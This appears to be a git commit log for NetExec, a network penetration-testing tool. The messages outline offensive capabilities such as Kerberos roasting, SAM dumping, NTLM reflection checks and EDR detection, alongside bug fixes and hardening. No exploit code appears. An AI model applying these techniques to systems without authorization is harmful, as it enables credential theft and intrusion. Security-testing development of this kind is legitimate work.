Alexander Neff 73dc25c907 Add azoxlpf to awesome contributors 2026-05-25 16:41:40 -04:00
Alex 0708e35f6d Merge pull request #1231 from T1erno/fix-ctrl+c 2026-05-25 15:56:06 +02:00
Alexander Neff 99d7186ed5 Don't triple check if DCE is not None 2026-05-25 07:03:33 -04:00
Alexander Neff 4d746de71d Don't triple check if DCE is not None 2026-05-25 07:03:23 -04:00
Alexander Neff 4a726849fa Improve logging 2026-05-25 06:58:31 -04:00
Alexander Neff fd101be87c Recreate RPC conn if target is different to existing SMB connection 2026-05-25 06:28:45 -04:00
Alexander Neff b3da0d5e82 Formatting 2026-05-25 06:24:49 -04:00
Alexander Neff fc5b7bbb3f Formatting 2026-05-25 06:20:55 -04:00
Alexander Neff 446328bdbc Add NXCRPCConnection to modify-group 2026-05-25 06:13:26 -04:00
Alexander Neff 1dd2c6696d No stub variables 2026-05-25 05:44:55 -04:00
Alexander Neff 570bae028e Rename variables to something meaningful 2026-05-25 05:22:26 -04:00
Alexander Neff 8cf5b605df Properly use class comments 2026-05-25 05:22:11 -04:00
Alex 87f2f10a0f Merge branch 'main' into feat/add-rpc-class 2026-05-25 11:15:19 +02:00
Marshall Hallenbeck dfec064063 Merge branch 'main' into feat/smb-get-folder 2026-05-23 19:55:34 -04:00
Marshall Hallenbeck e84ca2d510 fix(smb): fix slashes and silent folder download bugs 2026-05-23 19:53:40 -04:00
Marshall Hallenbeck 9c4ad7fc39 fix(smb): recursively download folders by default 2026-05-23 19:49:51 -04:00
TristanInSec d21ee2d6b1 Merge remote-tracking branch 'upstream/main' into fix/sanitize-ntlm-hostname 2026-05-23 15:54:05 -04:00
TristanInSec ccf36b492e Use display() for sanitization notice so it shows at default verbosity 2026-05-23 15:52:44 -04:00
Alexander Neff 830b04ba57 Use contextlib instead of empty try&except 2026-05-23 05:53:12 -04:00
Alex 3dcccc7b9b Merge pull request #1246 from Pennyw0rth/neff-fix-mssql-sam
Add full control to dump files in order do bypass win restrictions
2026-05-22 21:50:34 +02:00
Alexander Neff fe03fc20cf Add full control to dump files in order do bypass win restrictions 2026-05-22 15:30:03 -04:00
Alex a03625d992 Merge pull request #1245 from azoxlpf/fix/ntlm-reflection
Fix: CVE-2025-33073 NTLM reflection not exploitable on pre-NT10.0 systems
2026-05-22 18:46:41 +02:00
azoxlpf 663e26fb0b drop NTLM reflection checks on Server 2008 and 2012 2026-05-22 16:42:09 +02:00
mpgn 3a0ccbe396 Update test.yml
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:30:43 +02:00
mpgn dfbf2f6be7 Update lint.yml
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:24:16 +02:00
mpgn 31df9337b3 Update test.yml
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:22:42 +02:00
mpgn af6bebc362 Update lint.yml
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:20:55 +02:00
mpgn ebb3da489f Simplify dependency installation step in lint workflow
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:19:59 +02:00
mpgn 5bc110601e Refactor GitHub Actions to use uv for setup
Updated GitHub Actions workflow to use 'uv' for installation and execution.

Signed-off-by: mpgn <[email protected]>
2026-05-19 21:18:11 +02:00
mpgn 468c8efe8b switch to uv
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:17:21 +02:00
mpgn e0972008f4 update lock 2026-05-19 19:12:54 +00:00
mpgn a92b6fea16 Update oscrypto dependency to specific commit
Signed-off-by: mpgn <[email protected]>
2026-05-19 21:04:47 +02:00
mpgn 5b3f8382e4 Configure Poetry to ignore recent package versions
Add min-release-age setting for supply-chain hardening

Signed-off-by: mpgn <[email protected]>
2026-05-19 21:01:44 +02:00
mpgn 8a708ffab3 Update pyproject.toml
Signed-off-by: mpgn <[email protected]>
2026-05-19 20:47:31 +02:00
mpgn abdeb78174 Add exclude-newer option for tool.uv
Signed-off-by: mpgn <[email protected]>
2026-05-19 20:22:28 +02:00
azoxlpf e407f21062 simplify the help 2026-05-19 14:27:46 +02:00
TristanInSec 9c293a8eb9 Warn when NTLM hostname is sanitized
Log a warning showing the original and sanitized hostname so users
are alerted to potential non-compliant implementations or rogue servers.
2026-05-18 14:42:53 -04:00
TristanInSec 68abd128e6 Sanitize NTLM hostname to prevent path traversal and DoS
Strip non-alphanumeric characters (except hyphens and dots) from
server-provided NTLM hostname before use in file paths or content.

Prevents:
- Path traversal via ../ in hostname (file creation outside ~/.nxc/logs/)
- DoS via null byte (ValueError crash in open())
- DoS via { characters (KeyError crash in str.format())
- Newline injection in --generate-hosts-file output
- Affects: SMB, RDP, VNC, WinRM, MSSQL credential dump and screenshot paths
2026-05-16 16:17:22 -04:00
T1erno 9911e9a280 Simplify CTRL+C exit 2026-05-15 20:04:04 -06:00
Alexander Neff 18f7725993 Explicitely remove the null byte 2026-05-14 06:49:56 -04:00
Marshall Hallenbeck 636491ddde Merge branch 'main' into feat/smb-get-folder 2026-05-12 14:06:06 -04:00
enzym3 4082c4eadb smb --shares: address review feedback from PR #1138
- Import write-check masks from impacket.smb3structs instead of redefining locally
- Move write_checks list into shares() scope
- Enforce --file-write-check requires --shares via argparse make_required
- Use STYPE_DISKTREE/STYPE_MASK constants for share type check; store type in share_info
- Add debug log when skipping non-filesystem shares
- Restore explanatory comment on empirical write check
- Replace try/except/pass with contextlib.suppress on disconnectTree
- Rename column-width vars and explain magic numbers in shares output
2026-05-12 10:16:28 -04:00
azoxlpf c58f3e0675 add standalone --generate-st with --spn for Kerberos ST export 2026-05-11 14:50:11 +02:00
Alex 0fbff80d9c Merge pull request #1237 from Pennyw0rth/neff-fix-schtask_as-logging
Fix logging output of schtask_as
2026-05-10 12:17:49 +02:00
Alexander Neff 861f7d9f67 Fix logging output of schtask_as 2026-05-10 06:11:16 -04:00
Alex df15cf20db Merge pull request #1235 from Pennyw0rth/neff-nfs-chmod
Add chmod to NFS
2026-05-07 21:20:48 +02:00
Alex 9e1403bf20 Merge pull request #1232 from Pennyw0rth/neff-fix-nfs
Minor fixes for NFS
2026-05-07 21:18:37 +02:00
Alexander Neff 41cde339d1 Add e2e tests 2026-05-07 15:11:00 -04:00
Alexander Neff d10522eff8 Add chmod to nfs 2026-05-07 15:03:06 -04:00
Alex 4c56251480 Merge pull request #1125 from Ne0re0/main
feat: Compute gMSA AES keys when using --gmsa
2026-05-07 16:35:15 +02:00
Alexander Neff a23d0fa3b8 Pythonic 2026-05-07 10:01:49 -04:00
Alexander Neff d8ea63da83 Add error message if gmsa string is invalid 2026-05-07 09:16:59 -04:00
Alexander Neff 028e774e8e Formatting 2026-05-07 09:16:14 -04:00
Alexander Neff d9603d5c8b Formatting 2026-05-07 09:15:49 -04:00
Alexander Neff a0c62e2413 Formatting 2026-05-07 09:13:51 -04:00
Alexander Neff 8d5c81c36c Formatting 2026-05-07 09:13:47 -04:00
Alexander Neff 358052235a If we don't have a sAMAccountName skip kerberos keys 2026-05-07 09:11:50 -04:00
Alexander Neff 178df416c8 Switch order of displaying kerberos keys 2026-05-07 09:06:24 -04:00
Alexander Neff 21ea460d91 Remove duplicate search base 2026-05-07 09:06:12 -04:00
Marshall Hallenbeck 8759444f1b Merge branch 'main' into feat/smb-get-folder 2026-05-06 16:19:27 -04:00
Alex 5f7a05adb4 Merge branch 'main' into add-safe-shares-module 2026-05-06 13:32:26 +02:00
Alexander Neff 68816dcb25 Linting 2026-05-06 12:53:12 +02:00
Alexander Neff 641f020952 Add encoding fallback for special chars (e.g. öäü) 2026-05-06 12:46:15 +02:00
Alexander Neff cb156b7573 Catch errors if portmapper does not provide port for nfs bind 2026-05-06 12:45:45 +02:00
Alexander Neff 3631b8fdca Update module description 2026-05-06 12:44:25 +02:00
T1erno a0a7c2673e Improved Ctrl + c behavior 2026-05-05 14:08:13 -06:00
Alexander Neff d022f14f7e Formatting 2026-05-05 15:30:22 -04:00
Alexander Neff 324ff9e8fe Remove unused import 2026-05-05 15:30:15 -04:00
Alexander Neff 48691de278 Functionalize key generation 2026-05-05 15:25:23 -04:00
Alexander Neff 4951135148 Remove unused import 2026-05-05 15:25:07 -04:00
Alexander Neff f5bbf07a54 Use generate_kerberos_keys 2026-05-05 14:42:38 -04:00
Alex 696cfdfb37 Merge branch 'main' into main 2026-05-05 19:29:58 +02:00
Alex ee3ccb7948 Merge pull request #1228 from Pennyw0rth/neff-fix-rdp-kerberos
Fix Kerberos authentication with RDP
2026-05-04 18:17:32 +02:00
Alexander Neff 0bec9188cf We must connect to the kdc not the host on port 88 for Kerberos tickets 2026-05-04 12:08:39 -04:00
Fabrizzio53 adfd529593 Removed a typo " in the first example
Removed a typo " in the first example

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-30 08:49:14 -03:00
Marshall Hallenbeck 56406afd40 Merge pull request #1136 from Pennyw0rth/fix/ssh-channel-closed-exception
fix(ssh): handle channel closed exception during shell and privilege checks
2026-04-29 13:40:43 -04:00
Alex ed96d6756b Merge pull request #1221 from Pennyw0rth/neff-fix-add-computer
Fix add-computer module
2026-04-29 16:42:27 +02:00
Alex 9e179bb585 Merge pull request #1222 from Barneee/add-wazuh-detection
Add Wazuh XDR detection
2026-04-29 16:24:16 +02:00
Dennis Barnekow c25c3d8686 Add Wazuh XDR detection
Added Wazuh Windows Agent service indicator

Signed-off-by: Dennis Barnekow <[email protected]>
2026-04-29 15:11:36 +02:00
Alexander Neff efed8d19c6 Polish description 2026-04-29 08:10:43 -04:00
Alexander Neff 1f7175ac9f Return user handle and not impacket object 2026-04-29 08:10:31 -04:00
Alex 83696d29ac Merge pull request #1220 from Barneee/add-cynet-detection
Add Cynet EDR detection
2026-04-29 08:50:36 +02:00
Marshall Hallenbeck cd6d5b2ee5 fix(smb): properly reference arg via dot notation 2026-04-28 18:51:23 -04:00
Dennis Barnekow 5009642220 Add Cynet EDR detection
Added CynetLauncher service indicator

Signed-off-by: Dennis Barnekow <[email protected]>
2026-04-28 15:59:47 +02:00
Marshall Hallenbeck 598afaa79a tests(get_folder): add e2e test line 2026-04-27 12:23:46 -04:00
Marshall Hallenbeck 5932bce690 fix(smb): add path sanitization helper and apply to download_folder 2026-04-27 12:23:46 -04:00
Marshall Hallenbeck b020b24441 feat(smb): add --get-folder command for downloading remote directories
Add download_file(), download_folder(), and get_folder() methods to the
SMB protocol. Refactor get_file_single() to use download_file() with
automatic fallback from READ to READ/WRITE access on sharing violations.

New CLI args: --get-folder, --recursive, --ignore-empty-folders

Example: nxc smb target -u user -p pass --share SYSVOL --get-folder 'domain\Policies' ./output --recursive
2026-04-27 12:23:46 -04:00
Alex 2ea598a732 Merge pull request #1218 from jblommaert/patch-1
Fix netexec.spec
2026-04-27 18:15:03 +02:00
Julien Blommaert 3670d20639 Fix netexec.py
Add 'certihound' needed for LDAP
Fix #1197 

Signed-off-by: Julien Blommaert <[email protected]>
2026-04-27 13:43:45 +02:00
Alex f7e1187212 Merge pull request #840 from azoxlpf/feat/add-targeted-kerberoast 2026-04-26 17:56:15 +02:00
Alex 73ccf0daec Merge pull request #1217 from Pennyw0rth/neff-minor-fixes
Minor fixes for LDAP and RDP
2026-04-24 09:48:58 +02:00
Alexander Neff c8e027c999 Stop crashes when the nxcdb misbehaves 2026-04-24 08:48:10 +02:00
Alexander Neff 678760345e Prevent security principals from crashing the query (missing samaccountname) 2026-04-24 08:47:39 +02:00
Alexander Neff 46c6f18563 Only look up groups (not containers) 2026-04-24 08:47:13 +02:00
Alexander Neff 6982e82fcf Formatting 2026-04-23 13:45:34 -04:00
Alexander Neff 11ec479e2e Cleanup 2026-04-23 13:40:57 -04:00
Alexander Neff 6f1b4c94b1 Remove default argument 2026-04-23 13:38:05 -04:00
Alexander Neff 7eb4171e66 Functionalize argument parsing 2026-04-23 13:37:36 -04:00
Alex 917603bbd7 Merge pull request #1215 from Pennyw0rth/neff-fix-runner
Fix GitHub PR action and adjust AI policy
2026-04-23 16:06:24 +02:00
Alexander Neff 269b0a6888 Adjust AI policy 2026-04-23 03:19:12 -04:00
Alexander Neff 6ba33a8042 Let runner run in context of the PR 2026-04-23 03:01:22 -04:00
Fabrizzio53 a8a94671ea fixed issues pointed on the PR
removed imports that were not being used, remove None returns, put the options at the start of the script and improved on indentation

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-22 18:37:29 -03:00
Alex 5179ebec78 Merge pull request #1214 from Pennyw0rth/neff-fix-ldap-admin-privs
Fix carrying over of admin privs while bruteforcing
2026-04-22 10:00:02 +02:00
Alexander Neff c7ddc41b9d Explicitely set admin privs=False 2026-04-22 02:47:08 -04:00
Alex 5f24696a11 Merge pull request #1213 from termanix/terman-fix
Fix premature self.context usage in modify-group
2026-04-22 08:34:30 +02:00
termanix a7590c8a61 Fix premature self.context usage in modify-group 2026-04-22 08:05:36 +03:00
Marshall Hallenbeck 43094f1623 Merge pull request #1211 from Pennyw0rth/fix/rdp-asyncio-deadlock
Fix for RDP asyncio timeout
2026-04-21 16:51:32 -04:00
Marshall Hallenbeck 2ec95a56ec fix(rdp): properly terminate connections; resolves #1169 2026-04-20 16:09:42 -04:00
Alex 1e0c6af59c Merge pull request #1210 from azoxlpf/feat/add-ESC15-check
Add CVE-2024-49019 (EKUwu / ESC15) to enum_cve module
2026-04-20 17:52:04 +02:00
Alexander Neff 0a0ef62825 Shorten ESC15 message 2026-04-20 11:47:41 -04:00
azoxlpf 0bd8d4307f add CVE-2024-49019 (EKUwu / ESC15) 2026-04-20 17:15:02 +02:00
Alex 4998541b75 Merge pull request #1195 from icemanphd/fix/issue-1059-hostname-truncation
fix(smb): resolve hostname truncation from NetBIOS 15-char limit
2026-04-18 16:26:53 +02:00
Alexander Neff b1e62e081f Use upper case name 2026-04-18 09:45:57 -04:00
Alexander Neff 800d9b614f DNS names should always be non empty string 2026-04-18 09:42:16 -04:00
Fabrizzio53 fea06fe912 fixed ruff checks
fixed ruff checks

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-15 19:28:08 -03:00
Fabrizzio53 6512a9801e Removed LDAP3 connection, removed old imports, removed SSL action
Removed the LDAP3 connection and now use impacket with the new CRUD method from the latest merged PR, removed the SSL option since now the first connection is handled by netexec and not ldap3

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-15 19:12:18 -03:00
Fabrizzio53 a29c162d33 Merge branch 'Pennyw0rth:main' into main 2026-04-15 19:10:24 -03:00
Aurélien CHALOT f83b10a3af small fix 2026-04-15 11:20:46 +02:00
Aurélien CHALOT 2250d2b1f3 Add exclusion options 2026-04-15 11:15:57 +02:00
Alex 1884cd30a9 Merge pull request #1202 from Pennyw0rth/neff-allow-commands-and-modules
Allow proto flags in combination with modules
2026-04-14 14:24:05 +02:00
Alex cb8912a26b Merge pull request #1201 from Pennyw0rth/neff-add-winrm-dir
Add WinRM dir command
2026-04-14 14:23:56 +02:00
Alexander Neff 9f8625edfd Don't crash when we have no return value, e.g. on crashes 2026-04-14 13:43:42 +02:00
Alexander Neff 4f327d961b Change default encoding to pysrps default to stop crashes on german special chars 2026-04-14 13:42:33 +02:00
Alexander Neff 7e9427131b Fix output path 2026-04-14 13:28:46 +02:00
Alexander Neff f7afd493bf Add winrm --dir command 2026-04-14 13:23:20 +02:00
Alexander Neff 6c3750a03f Fix winrm --get-file local path completion 2026-04-14 13:23:06 +02:00
Alexander Neff 32a7d5a1f2 Allow proto flags in combination with modules 2026-04-14 13:20:39 +02:00
Alex eb8443364b Merge pull request #1199 from Pennyw0rth/winrm-up-download
Add WinRM upload and download functions
2026-04-14 13:07:13 +02:00
Alexander Neff d7dd837539 Improve logic of execution 2026-04-13 17:10:22 +02:00
Alexander Neff e4c4b0e75c Add WinRM upload and download functions 2026-04-13 17:00:41 +02:00
Alexander Neff 4d6c7b205d Fix winrm database issues when running in threads 2026-04-13 17:00:07 +02:00
Alexander Neff b8695bbb8a Add general protocol attribute to connection 2026-04-13 16:59:08 +02:00
azoxlpf f9dcabb9ae cleanup after review 2026-04-12 22:37:59 +02:00
azoxlpf 10d5c1ce5e unify targeted kerberoast with main kerberoasting flow 2026-04-12 20:57:00 +02:00
Alexander Neff 5d8a6299a3 Extract no-preauth-roasting into separate function 2026-04-12 13:31:08 -04:00
Alexander Neff 5b489b57a6 Remove unnecessary if check 2026-04-12 13:16:06 -04:00
azoxlpf c7e7b1189d resolve conflicts 2026-04-12 18:55:55 +02:00
Alexander Neff ad5772babe Improve arg description 2026-04-12 12:50:51 -04:00
Alex 11b667480f Merge branch 'main' into feat/add-targeted-kerberoast 2026-04-12 18:38:03 +02:00
Alex af45411879 Merge pull request #688 from termanix/add-group
New Module modify-group
2026-04-12 18:02:38 +02:00
Alexander Neff 0c14d05de5 Switch to fail message as our intended action failed 2026-04-12 11:31:28 -04:00
Alexander Neff 86b34efbed Merge adding/removing logic and only differentiate in action 2026-04-12 11:29:07 -04:00
Alexander Neff 1d1dfe54e8 Polish limitations section 2026-04-12 11:28:55 -04:00
Alexander Neff d876a186ef Merge adding/removing logic and only differentiate in action 2026-04-12 11:15:43 -04:00
Alexander Neff 15c6c757f0 Use constants 2026-04-12 11:00:03 -04:00
Alexander Neff d264deddeb Formatting 2026-04-12 09:45:08 -04:00
Alexander Neff 56b42713a8 Don't reraise exception 2026-04-12 09:38:03 -04:00
Alexander Neff 6c19e35bad Formatting 2026-04-12 09:37:10 -04:00
Alexander Neff d5b7891cd6 Formatting 2026-04-12 08:51:46 -04:00
Alexander Neff 46f01edf43 Make description more specific 2026-04-12 08:51:38 -04:00
Alex 8347d0a9dc Merge pull request #1193 from A3-N/fix-zero-byte-files
fix: ftp put_file reports failure on 0-byte uploads
2026-04-12 14:42:07 +02:00
termanix 9cbab6514f Merge branch 'main' into add-group 2026-04-11 19:34:30 +03:00
icemanphd 13b340f613 fix(smb): resolve hostname truncation from NetBIOS 15-char limit (#1059)
Use getServerDNSHostName() instead of getServerName() to retrieve the
hostname from the NTLM challenge response. The DNS hostname (MsvAvDnsComputerName)
is not subject to the 15-character NetBIOS limitation, resolving truncated
entries in --generate-hosts-file and --generate-krb5-file output.

Falls back to getServerName() when DNS hostname is unavailable (e.g. Samba).
2026-04-10 11:09:57 -04:00
A3-N 988057d7b5 drop fix 2026-04-10 17:18:21 +04:00
A3-N 4a29811ef9 revived banner 2026-04-10 17:15:14 +04:00
A3-N 24e290f01d revived banner 2026-04-10 17:14:29 +04:00
A3-N 1d3542ea36 fix: ftp put_file reports failure on 0-byte uploads 2026-04-09 02:49:06 +04:00
termanix e6c2cda3d8 e2e update 2026-04-07 20:41:30 +03:00
termanix 38674a517d scope user search to OU baseDN and add listing header 2026-04-07 20:40:44 +03:00
termanix 30f365cc40 Merge branch 'main' into patch-1 2026-04-07 20:19:46 +03:00
azoxlpf 5fe43ba915 restore comment accidentally removed 2026-04-07 17:35:21 +02:00
azoxlpf 382821ae03 module header comment, drop class docstring 2026-04-07 17:27:03 +02:00
azoxlpf 2e06677820 ruff fix 2026-04-07 17:23:01 +02:00
azoxlpf 3cc5d6d5b0 log SAMR cleanup errors instead of silent pass 2026-04-07 17:21:55 +02:00
azoxlpf 27fd359e6e wrap legacy bind and auth_level in execute_handler try 2026-04-07 17:20:26 +02:00
azoxlpf f6adc55a6b fix(spooler): restore EPM flow without bind (port 135/445) 2026-04-07 17:07:23 +02:00
azoxlpf 5947abe37a revert(ntlm_reflection): restore original stub module 2026-04-07 15:07:42 +02:00
azoxlpf ffed697d6e fix(enum_ca): restore EPM flow without bind for port 135 2026-04-07 15:02:02 +02:00
azoxlpf 2b92f7c39e fix(enum_cve): catch SessionError when opening winreg pipe 2026-04-07 14:51:14 +02:00
azoxlpf 9c68d2f790 correct SMBTransport args for reused SMB session 2026-04-07 14:45:59 +02:00
azoxlpf 7267518db6 centraliser DCE/RPC via NXCRPCConnection 2026-04-07 14:12:55 +02:00
Alex 67d90e0227 Merge pull request #1183 from azoxlpf/fix/mssql-integrated-auth-tds-error-handling
fix(mssql): handle TDS error when NTLM challenge absent and fix local-auth flow
2026-04-06 14:56:39 +02:00
Azox 31472fb96f Merge branch 'main' into fix/mssql-integrated-auth-tds-error-handling 2026-04-06 14:53:09 +02:00
Alexander Neff a1ecc1dfbb Add NTLM:False flag 2026-04-06 08:46:16 -04:00
Alexander Neff 6c957f9145 Remove print message 2026-04-06 08:42:41 -04:00
Alexander Neff 804aeb00f1 Remove unused variable and add no_ntlm 2026-04-06 08:42:23 -04:00
Alexander Neff 4cb49784a3 Switch if logic 2026-04-06 08:40:50 -04:00
termanix 68ff10b704 Conflicts solved 2026-04-04 18:15:56 +03:00
azoxlpf 6ada3eaf3c rename ntlm_parser to negotiate_parser, add TDS LOGIN7 helpers 2026-04-03 22:32:37 +02:00
Alex 1f4aceaefe Merge pull request #1177 from ledrypotato/pre2k-module-adjustment
Adjust the pre2k module
2026-04-03 20:12:43 +02:00
Alexander Neff 121d6c4305 Only apply ALL option if indeed set to true 2026-04-03 14:06:53 -04:00
Alexander Neff ee466afc40 Still display failed TGT retreival for pre2k accounts 2026-04-03 14:04:22 -04:00
Alexander Neff ddc66c1243 Only display accounts that have been found 2026-04-03 14:00:21 -04:00
Matt f2d2a72c0e add e2e commands 2026-04-03 19:37:43 +02:00
Matt c2efe58d31 small adjustments + separate writing pre2k & non pre2k computers to different files 2026-04-03 19:14:38 +02:00
Alex 3e4a7bc411 Merge pull request #1180 from termanix/patch-2
Improve error handling in change-password module
2026-04-03 18:58:09 +02:00
Alexander Neff ee37fc08cf Remove unnecessary None checks 2026-04-03 12:45:30 -04:00
Alexander Neff c78bb6bade Move error handling to login function, so if we crash we don't add users to db 2026-04-03 12:43:50 -04:00
Matt 8ebf8fed7d fix module option description 2026-04-03 14:22:20 +02:00
Matt 6e39d16dc5 add module option to query every computer object 2026-04-03 14:08:41 +02:00
ledrypotato 12cb8e3521 Merge branch 'Pennyw0rth:main' into pre2k-module-adjustment 2026-04-03 11:07:53 +02:00
Alex a073c2db16 Merge pull request #1182 from azoxlpf/fix/mssql-attribute-error
fix: avoid AttributeError when MSSQL command output is None
2026-04-01 22:22:27 +02:00
azoxlpf 1b4900d755 always return str from MSSQLEXEC.execute 2026-04-01 20:32:55 +02:00
Azox 19f979c6ee Merge branch 'main' into fix/mssql-attribute-error 2026-04-01 16:54:01 +02:00
azoxlpf 7147aa265e parse TDS ERROR/INFO via impacket 2026-04-01 15:37:18 +02:00
Azox b27b20fb9a Merge branch 'main' into fix/mssql-integrated-auth-tds-error-handling 2026-04-01 14:45:13 +02:00
Alex 600abd62be Merge pull request #1179 from azoxlpf/fix/mssql-fix-infinite-loop
abort rid_brute on invalid connection after failed login
2026-03-31 18:50:22 +02:00
Azox e8c2584499 Merge branch 'main' into fix/mssql-attribute-error 2026-03-31 12:58:04 +02:00
Azox 3ff1e89877 Merge branch 'main' into fix/mssql-integrated-auth-tds-error-handling 2026-03-31 12:57:47 +02:00
azoxlpf 081ab77eae fix(mssql): handle TDS error when NTLM challenge absent and fix local-auth flow 2026-03-31 12:49:35 +02:00
azoxlpf 9d90e0daba fix: avoid AttributeError when MSSQL command output is None 2026-03-31 10:30:52 +02:00
termanix 95f67b7125 removed duplicate try&except 2026-03-30 18:32:27 +03:00
azoxlpf 8a0957e183 return early from rid_brute on SID/domain query failure 2026-03-30 14:29:47 +02:00
termanix e6ca7f4b76 Added try except for understanding errors 2026-03-30 15:03:56 +03:00
termanix 7c97ed133c fix ruff. That changes for preventing unnecessary RPC calls 2026-03-30 14:47:26 +03:00
termanix a1f3aaaee1 Attempt to resolve and open target user; abort if not found or not accessible. Preventing for trying to change (failed: rpc_x_bad_stub_data) 2026-03-30 14:41:16 +03:00
Azox 04da125754 Merge branch 'main' into fix/mssql-fix-infinite-loop 2026-03-30 13:04:23 +02:00
azoxlpf 4d112e7952 abort rid_brute on invalid connection after failed login 2026-03-30 12:59:18 +02:00
Alex 4a5cbf650a Merge pull request #1172 from A3-N/fix/connection-thread-safety
fix: add thread-safety to failed login counters
2026-03-30 11:54:19 +02:00
Alex 08ad1cc792 Merge pull request #1041 from Wyndoo/module-get-scriptpath 2026-03-29 17:26:11 +02:00
ledrypotato 7fb80e6cc9 Update search filter for computer accounts
The userAccountControl search filter is a bit restrictive. I changed it from 4128 (32 - PASSWD_NOTREQD + 4096 - WORKSTATION_TRUST_ACCOUNT) to only 4096 since "After a computer account has joined the domain, it will just have the WORKSTATION_TRUST_ACCOUNT flag set (4096)" - https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts

Signed-off-by: ledrypotato <[email protected]>
2026-03-28 18:01:32 +01:00
A3-N 623e6aa6b6 removed outer check, no time save 2026-03-27 21:18:08 +04:00
Alex d2342dbfad Merge pull request #1110 from Coontzy1/main
SAM History Dumping
2026-03-26 17:20:40 +01:00
Alex 43027f47a2 Merge pull request #1173 from 0xaled/NetExec-Enum-AV
enum_av module: add HarfangLab Hurukai EDR indicators and minor tipo fix
2026-03-25 18:54:48 +01:00
Alexander Neff 6cfb52c3bd Just directly use arg and formatting 2026-03-25 13:16:43 -04:00
Alex 409b0278fd Merge pull request #698 from LTJAXSON/add-mssql-dumper-module
Add mssql_dumper module for sensitive data discovery
2026-03-25 17:20:18 +01:00
P'tit Snake ee652ba36b Update enum_av.py : Minor fix ( HarfangLab PR )
tipo fix for EPClientUIService

Signed-off-by: P'tit Snake <[email protected]>
2026-03-25 14:25:34 +01:00
P'tit Snake ccbf41de7f Update enum_av.py : Minor fix ( HarfangLab PR )
correction de tipo pour cortex EDR 

Signed-off-by: P'tit Snake <[email protected]>
2026-03-25 14:24:10 +01:00
P'tit Snake 1ef7e792f0 Update enum_av.py: add HarfangLab Hurukai EDR indicators
Add detection for HarfangLab EDR agent via services and pipes,  tested against a live Windows Server 2019 system with HarfangLab deployed.

Signed-off-by: P'tit Snake <[email protected]>
2026-03-25 14:15:47 +01:00
Alex 931f281cc1 Merge branch 'main' into main 2026-03-25 10:32:08 +01:00
A3-N d7abaf287b fix: add thread-safety to failed login counters 2026-03-24 11:06:46 +04:00
enzym3 b813a679ba smb --shares: skip write checks for non-filesystem shares (IPC, print queue) using shi1_type 2026-03-23 11:41:19 -04:00
enzym3 d946b7791a smb: fix --file-write-check warning to use is None check for --shares 2026-03-23 11:30:53 -04:00
enzym3 fa4ba9417a smb: warn when --file-write-check is used without --shares; remove safe_shares module
safe_shares is superseded by ACL-based write detection now built into --shares.
2026-03-23 11:11:44 -04:00
enzym3 8b9a555f77 tests: add --file-write-check e2e command, drop --no-write-check 2026-03-23 10:54:24 -04:00
enzym3 e86d3461d8 smb --shares: ACL-based write detection by default, --file-write-check for empirical 2026-03-23 10:41:40 -04:00
enzym3 1f06aa7ebd smb: add ACL write check constants for shares() 2026-03-23 10:30:28 -04:00
enzym3 cdd8005bc4 smb: replace --no-write-check with --file-write-check 2026-03-23 10:16:47 -04:00
Alex bac38ac1c6 Merge pull request #1171 from T1erno/Fix-lsassy-port
Use connection.port variable on lsassy
2026-03-23 11:30:40 +01:00
Alexander Neff 31bdfe4a3a Update lsassy 2026-03-23 06:26:23 -04:00
T1erno 1f8d03e96f Use connection.port variable on lsassy 2026-03-22 22:30:25 -06:00
Alexander Neff 1eb6c517d3 Add like_search file input and disable preset option 2026-03-22 11:29:45 -04:00
Alexander Neff e8d8966219 Merge branch 'main' into mssql-dumper 2026-03-22 11:21:42 -04:00
Alex 6de83deb6a Merge pull request #1047 from Dfte/main
Add mssql_cbt checker module
2026-03-22 13:52:39 +01:00
Alexander Neff 5e6bd51810 Should be lm or nt hash 2026-03-22 08:34:18 -04:00
Alexander Neff ee20734b36 Fix auth with hashes 2026-03-22 08:28:53 -04:00
Alexander Neff 4795fbce13 Fix ruff 2026-03-22 08:05:55 -04:00
Alexander Neff 6ca17061fa Update impacket 2026-03-22 08:00:38 -04:00
Alexander Neff 8a9102d84b Fix lock file 2026-03-22 07:55:10 -04:00
Alexander Neff e3b61df695 Merge branch 'main' into mssql-cbt 2026-03-22 07:54:26 -04:00
Deft_ 59272d58cf Patches the insert error
Signed-off-by: Deft_ <[email protected]>
2026-03-21 13:19:49 +01:00
Alex 8dbf09cc4f Merge pull request #1166 from Pennyw0rth/neff-update-dependencies
Update dependencies
2026-03-20 15:06:47 +01:00
Alexander Neff 7b3aed0036 Await forever 2026-03-20 07:47:35 -04:00
termanix f21de1c567 editted e2e 2026-03-20 13:40:11 +02:00
termanix 1e344b8f7f renamed module name removed ou part 2026-03-20 13:36:37 +02:00
Alexander Neff 76433ab10e Replace os.path with async safe anyio.Path 2026-03-20 07:30:35 -04:00
Alexander Neff 6a443a5d3e Clean up ruff 2026-03-20 07:25:42 -04:00
Alexander Neff 4c6ee6b9da Remove obsolete ruff setting 2026-03-20 07:24:01 -04:00
Alexander Neff 5d2b8fd297 Update dependencies 2026-03-20 07:23:53 -04:00
Alexander Neff 92f70ca16e Fix lock file 2026-03-20 07:18:42 -04:00
termanix 26ecbf1e2f Regenerate poetry.lock 2026-03-20 13:04:32 +02:00
termanix e03d26cc38 removed duplicated functions, try/excepts. 2026-03-20 13:02:15 +02:00
termanix 493381c35a removed unneccesary try/except blocks 2026-03-20 13:02:15 +02:00
termanix 4a9c2d58f2 Debug and fail logs have been reduced to a single line. 2026-03-20 13:02:15 +02:00
termanix 33f521c055 removed unneccesary connections and modified as ldap.modify 2026-03-20 13:02:08 +02:00
Alexander Neff bb7afbaa84 Update impacket 2026-03-20 13:01:16 +02:00
termanix 4d9e34398a ou part commented for now 2026-03-20 13:01:03 +02:00
termanix 556dfd755c edit for understanding 2026-03-20 13:01:03 +02:00
termanix c7e2ae46f1 Added try/except for if the target user is (not) already in group on SMB 2026-03-20 13:01:03 +02:00
termanix ecda28839f Added SAMR info for using SMB 2026-03-20 13:01:03 +02:00
